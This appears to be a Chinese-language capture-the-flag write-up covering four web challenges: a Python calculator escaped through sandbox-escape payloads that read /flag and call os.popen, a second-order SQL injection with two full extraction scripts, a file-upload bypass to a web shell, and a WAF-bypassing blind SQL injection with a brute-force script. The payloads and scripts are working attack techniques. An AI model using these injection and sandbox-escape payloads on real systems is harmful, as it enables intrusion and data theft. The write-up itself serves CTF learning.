Web calc 题目如下,这是一个计算器,可以执行一些简单的算式。题目提示正则有问题,所以正则应该是可以绕过的。
我们先看看服务器端使用的是什么语言,简单测试发现是 python web  ,就考虑是否存在 SSTI  ,绕过正则执行 python  代码。
我们先来分析一下正则表达式: ^[0-9.]+\s*[*+-/]\s*[0-9.]+  。这个正则存在多个问题:
使用 payload  如下:(百度python沙箱逃逸,第一个文章中就有payload)
1 1 +1 ,().__class__.__bases__[0 ].__subclasses__()[40 ]('/flag' ).read()
 
查看源码
1 1 +1 ,().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__getattribute__('fun' +'c_glo' +'bal' +'s' )['lin' +'eca' +'che' ].__dict__['o' +'s' ].__dict__['po' +'pen' ]('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py' ).read()
 
这里猜测一下后台代码的执行过程:
而我们传入的 1+1,python语句 实际上是一个元组,传到后台模板中类似  
unfinished 题目如下
发现就一个登陆页面,于是尝试探测是否存在 register.php  注册页面。发现存在,立即注册登陆,并查看。
登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入  。
还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200  ,这里就有可能存在 update注入  ,之后发现并没有更新用户信息,所以应该不存在 update注入  。那我们就针对用户名部分,进行二次注入测试。
注册成功,会得到 302  状态码并跳转至 login.php  ;如果注册失败,只会返回 200  状态码。所以构造 payload  如下:
1 email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test 
 
进行两次hex解码后得到数据库名为web:
1 2 >>>  "373736353632" .decode('hex' ).decode('hex' )'web' 
 
至于为什么 payload  要进行两次 hex  加密,看下面这张图就明白了。
然后这里还要注意一个问题,就是当数据进过 两次hex  后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:
所以这里我们使用 substr  每次取10个字符长度与 ‘0’  相加,这样就不会丢失数据。但是这里使用逗号 ,  会出错,所以可以使用类似 substr(‘test’ from 1 for 10)  这种写法来绕过,具体获取 flag  的payload如下:
1 0 '%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B' 0 
 
本来想附上我的脚本的,但是题目环境关了,脚本有点小bug,看看哪天环境有开在改吧。我的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import  requestsimport  re,binasciilogin_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/login.php"  register_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/register.php"  users_email = ["test0"  + str(i) + "@qq.com"  for  i in  range(0 ,17 )] def  register (user_email,offset) :    reg_datas = {         "email"  : user_email,         "username"  : "0'+(select substr(hex(hex((select * from flag))) from "  + str(1 +offset*10 )+ " for 10))+'0" ,         "password"  : "test"      }          r = requests.post(url = register_url,data = reg_datas) def  login (user_email) :    login_datas = {         "email"  : user_email,         "password"  : "test"      }     r = requests.post(url = login_url,data = login_datas,allow_redirects=True )     pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'      return  re.findall(pattern,r.text)[0 ] if  __name__ == '__main__' :    flag_double_hex = ''      for  email,offset in  zip(users_email,range(0 ,len(users_email))):         register(email,offset)         test = login(email)         print(test)         flag_double_hex += test         print("[-] "  + flag_double_hex,end="\r" ,flush=True )     print("[+] "  + flag_double_hex.decode('hex' ).decode('hex' )) 
 
下面再贴一个 virink  师傅的脚本,运行过可以获取flag,SQL语句和我不一样,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import  requests as  reqimport  randomimport  sysURL = 'http://99836af07612423cb83b84745ccd56dcd11ede0687854475.game.ichunqiu.com'  def  login (email) :    data = {         "email" : email,         "password" : "123456"      }     res = req.post(URL + '/login.php' , data)     if  res.status_code == 200  and  '1          </span>'  in  res.content:         return  True      return  False  def  reg (u, e) :    data = {         "username" : u,         "email" : e,         "password" : "123456"      }     res = req.post(URL + '/register.php' , data, allow_redirects=False )     if  res.status_code == 302 :         return  login(e)     return  False  table = 'qwertyuiopasdfghjklzxcvbnm'  def  b (pl) :    email = '' .join(random.sample(table, 8 )) + '@qq.com'      return  reg(pl, email) def  getLen (sql) :    print("[+] Starting getLen..." )     for  i in  range(1 , 60 ):         sys.stdout.write("[+] Len : -> %d <-\r"  % i)         sys.stdout.flush()         if  b("1'and((select length((%s)))=%d)and'1"  % (sql, i)):             print("[+] Len : -> %d <-"  % i)             return  i     return  0  def  getData (sql="version()" ) :    _len = getLen(sql)     if  not  _len:         print("[-] getLen 'Error'" )         return  False      print("[+] Starting getData..." )     table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'      res = ''      for  pos in  range(1 , _len + 1 ):         for  ch in  table:             sys.stdout.write("[+] Result : -> %s%c <-\r"  % (res, ch))             sys.stdout.flush()             pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1"  % (                 sql, pos, ch)             if  b(pl):                 res += ch                 break      print("[+] Result : -> %s <- "  % res)     return  res if  __name__ == '__main__' :                   pl = 'version()'      pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'      getData(pl) 
 
wafUpload 题目代码如下:
据说是 pwnhub  题目改的,不过没找到,直接来分析代码吧。上图代码 第8-10行  进行了 MIME  类型检测, 第12-20行  对文件后缀进行了检测,而后缀名则是取 $file  数组中最后一个元素。然后在生成文件的时候,文件路径又用 $file  数组第一个元素做文件名,数组最后一个下标对应的值作为后缀,这明显存在不一致可绕过的问题。我们只要控制 $file  数组中参数的顺序即可绕过并 getshell  ,请求数据包如下:
PS:赛后得知题目出自这里: phpjiami 数种解密方法  
sqlweb 题目:admin也拿不到flag喔(●’◡’●) 
打开 BurpSuite  Fuzz  发现提示信息,过滤了以下关键字:
admin账号  可以用弱密码登陆: admin/admin123  
发现新提示,说只有 wuyanzu  用户才能拿到 flag  。至此,思路就很清晰了,flag  应该就是 wuyanzu  用户的密码,或者 wuyanzu  用户登陆后就能看到 flag  ,所以这题就是考察绕过 WAF  进行 SQL注入  。
1 waf:/sleep|benchmark|=|like|regexp|and |\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i  !!! (trust me,no one can bypass it) 
 
仔细观察上面的 WAF  ,过滤了空格,可以用 /**/  来绕过;过滤了 and  ,可以用 &&  代替;过滤了 substr  、 ascii  ,但是还可以用 mid  。而且SQL语句执行和不执行返回的长度是不一样的。所以我们构造 payload  如下:
1 wuyanzu'%26%26mid(passwdfrom1for1)in('f')limit1%23 
 
编写获取flag的程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import  requestsflag = ''  chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"  url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"  for  i in  range(1 ,50 ):    for  char in  chars:         datas = {             "uname"  : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/"  + str(i) +"/**/for/**/1)/**/in/**/('"  + char + "')/**/limit/**/1#" ,             "passwd"  : "rte" ,             "submit"  : "login"          }         r = requests.post(url = url, data = datas)         if  len(r.text) == 75 :             flag += char             print("[-] "  + flag,end="\r" ,flush=True )             if  char == '}' :                 print("[+] "  + flag)                 exit()